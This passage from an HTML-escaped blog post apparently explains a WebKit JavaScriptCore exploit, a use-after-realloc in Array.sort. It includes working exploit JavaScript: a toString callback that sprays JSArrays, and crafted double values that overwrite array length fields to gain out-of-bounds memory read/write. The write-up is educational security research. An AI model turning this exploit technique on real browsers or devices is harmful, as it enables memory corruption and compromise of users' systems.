            &lt;span class=&quot;n&quot;&gt;arrayStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;relevantLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        
    &lt;span class=&quot;nl&quot;&gt;default:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;CRASH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;relevantLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;ContiguousTypeAccessor&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;indexingType&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;setWithValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;vm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;first&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    
    &lt;span class=&quot;n&quot;&gt;Heap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;heap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;popTempSortVector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;values&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This function takes the values from the JS array, puts them into a temporary vector, sorts the vector, and then puts the values back into the JS array. Seems simple enough, right?&lt;/p&gt;

&lt;p&gt;Because JavaScript arrays can contain different types of elements, the code normalizes them to some common type, which happens to be String in this case. By the way, if you’re not familiar with JS, this is how the spec defines it, so that when you do:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;you get an&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;30&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Back to the code snippet, on line 37 in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;for&lt;/code&gt; loop, it calls the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;toWTFStringInline&lt;/code&gt; method for every element. For our custom object &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;o&lt;/code&gt;, this would call the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;toString&lt;/code&gt; method implemented in JS:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12345&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This pushes an integer into the array that is being sorted. If the array’s run out of its internal capacity, this also causes the array elements to get reallocated!&lt;/p&gt;

&lt;p&gt;On the line 81 the sorted elements are written back into the array. However, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; pointer is &lt;strong&gt;never updated with the new value after the reallocation&lt;/strong&gt;. To illustrate it:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/wk360-after-push.svg&quot; alt=&quot;What happens after Array.push&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The grey area here is free or unallocated memory. On Linux it is actually unmapped after &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;realloc&lt;/code&gt; is called. Since the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; still points at the old memory location, the web browser gets a segmentation fault when trying to write to unmapped memory.&lt;/p&gt;

&lt;h1 id=&quot;out-of-bounds-rw&quot;&gt;Out-of-bounds RW&lt;/h1&gt;

&lt;p&gt;Depending on the contents, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSArray&lt;/code&gt; objects might be stored differently in memory. The ones we are operating on, however, are stored continuously as the metadata header (in yellow) plus array contents (in green).&lt;/p&gt;

&lt;p&gt;The array contents are just a vector of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSValue&lt;/code&gt; structures, defined as:&lt;/p&gt;

&lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EncodedValueDescriptor&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;int64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;asInt64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;double&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;asDouble&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;int32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;asBits&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The metadata header stores two interesting fields:&lt;/p&gt;

&lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// The meaning of this field depends on the array type, but for all JSArrays&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// we rely on this being the publicly visible length (array.length).&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m_publicLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// The length of the indexed property storage. The actual size of the storage&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// depends on this, and the type.&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;m_vectorLength&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Our goal now is to overwrite both of them and “extend” the array beyond what’s actually allocated. To achieve that, let’s modify the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;o.toString&lt;/code&gt; method:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;normal_length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x800&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fu&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;normal_length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arrays&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;12345&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;arrays&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;bar&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;prototype&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;apply&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fu&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;nx&quot;&gt;arrays&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;bar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If we get lucky, here’s what happens:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/wk360-after-push-and-spray.svg&quot; alt=&quot;After spraying JSArray&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In this example, when the sorted values are written back using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;data&lt;/code&gt; pointer, the metadata headers of both second and third &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bar&lt;/code&gt; get overwritten.&lt;/p&gt;

&lt;p&gt;What do we overwrite them with? Remember that the green area is the vector of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSValue&lt;/code&gt; objects. Every &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSValue&lt;/code&gt; object is 8 bytes. But if we fill &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo&lt;/code&gt; with, for example, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x80000000&lt;/code&gt;, we only control 4 bytes, and the rest is used up for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tag&lt;/code&gt;. What’s a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tag&lt;/code&gt;? Let’s take a look:&lt;/p&gt;

&lt;div class=&quot;language-cpp highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Int32Tag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;        &lt;span class=&quot;mh&quot;&gt;0xffffffff&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BooleanTag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;      &lt;span class=&quot;mh&quot;&gt;0xfffffffe&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;NullTag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;         &lt;span class=&quot;mh&quot;&gt;0xfffffffd&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;UndefinedTag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;    &lt;span class=&quot;mh&quot;&gt;0xfffffffc&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CellTag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;         &lt;span class=&quot;mh&quot;&gt;0xfffffffb&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EmptyValueTag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;   &lt;span class=&quot;mh&quot;&gt;0xfffffffa&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DeletedValueTag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xfffffff9&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;enum&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;LowestTag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;DeletedValueTag&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The tag is how WebKit’s JavaScriptCore packs different types of values into a single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSValue&lt;/code&gt; structure: it can be an int, a boolean, a cell (which is a pointer to an object), null, undefined, or a double. So if we write &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;54321&lt;/code&gt;, we only control half of the structure, and the other half is set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Int32Tag&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0xffffffff&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;However, we can also write &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;double&lt;/code&gt; values such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;54321.0&lt;/code&gt;! This way we control all 8 bytes of the structure, though there are some minor limitations.&lt;/p&gt;

&lt;div class=&quot;aside&quot;&gt;
  &lt;p&gt;&lt;strong&gt;Sidenote:&lt;/strong&gt; Some floating-point normalization stuff implemented in WebKit does not allow for truly arbitrary values to be written. Otherwise, even without any vulnerabilities present you would be able to craft a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CellTag&lt;/code&gt; and set its pointer to an arbitrary location. That would be really bad! Actually, it used to allow that, which is how &lt;a href=&quot;https://lolhax.org/2014/10/28/psvita-webkit-for-2-00/&quot;&gt;the very first Vita WebKit exploit&lt;/a&gt; worked: CVE-2010-1807.&lt;/p&gt;
&lt;/div&gt;

&lt;p&gt;So let’s write &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;double&lt;/code&gt; values instead:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;o&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;len&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;u2d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x80000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80000000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x2000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
	&lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u2d&lt;/code&gt;/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;d2u&lt;/code&gt; are small helpers to convert between a pair of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;int&lt;/code&gt; and a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;double&lt;/code&gt;:&lt;/p&gt;

